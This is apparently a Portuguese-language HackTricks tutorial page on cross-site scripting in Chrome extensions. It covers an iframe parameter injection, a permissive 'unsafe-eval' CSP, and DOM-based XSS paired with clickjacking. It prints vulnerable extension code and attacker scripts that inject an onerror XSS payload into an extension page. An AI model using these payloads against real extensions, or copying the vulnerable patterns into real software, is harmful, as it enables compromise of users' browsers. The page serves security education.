BrowExt - Exemplo de XSS

Reading time: 5 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Cross-Site Scripting (XSS) através de Iframe

Neste setup, um script de conteúdo é implementado para instanciar um Iframe, incorporando uma URL com parâmetros de consulta como a fonte do Iframe:

javascript
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})

Uma página HTML acessível publicamente, message.html, é projetada para adicionar dinamicamente conteúdo ao corpo do documento com base nos parâmetros na URL:

javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})

Um script malicioso é executado na página de um adversário, modificando o parâmetro content da fonte do Iframe para introduzir uma carga útil XSS. Isso é alcançado atualizando a fonte do Iframe para incluir um script prejudicial:

javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`

document.querySelector("iframe").src = maliciousURL
}, 1000)

Uma Política de Segurança de Conteúdo excessivamente permissiva, como:

json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

permite a execução de JavaScript, tornando o sistema vulnerável a ataques XSS.

Uma abordagem alternativa para provocar o XSS envolve a criação de um elemento Iframe e a definição de sua fonte para incluir o script prejudicial como o parâmetro content:

javascript
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)

DOM-based XSS + ClickJacking

Este exemplo foi retirado do post original.

O problema central surge de uma vulnerabilidade de Cross-site Scripting (XSS) baseada em DOM localizada em /html/bookmarks.html. O JavaScript problemático, parte de bookmarks.js, é detalhado abaixo:

javascript
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false

var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})

Este trecho busca o valor do campo de entrada txtName e usa concatenação de strings para gerar HTML, que é então anexado ao DOM usando a função .append() do jQuery.

Normalmente, a Política de Segurança de Conteúdo (CSP) da extensão do Chrome impediria tais vulnerabilidades. No entanto, devido à relaxamento da CSP com ‘unsafe-eval’ e ao uso dos métodos de manipulação do DOM do jQuery (que empregam globalEval() para passar scripts para eval() durante a inserção no DOM), a exploração ainda é possível.

Embora essa vulnerabilidade seja significativa, sua exploração geralmente depende da interação do usuário: visitar a página, inserir uma carga útil de XSS e ativar o botão “Adicionar”.

Para aumentar essa vulnerabilidade, uma vulnerabilidade secundária de clickjacking é explorada. O manifesto da extensão do Chrome apresenta uma política extensa de web_accessible_resources:

json
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Notavelmente, a página /html/bookmarks.html é suscetível a framing, tornando-se assim vulnerável a clickjacking. Essa vulnerabilidade é explorada para emoldurar a página dentro do site de um atacante, sobrepondo-a com elementos DOM para redesenhar a interface de forma enganosa. Essa manipulação leva as vítimas a interagir com a extensão subjacente involuntariamente.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks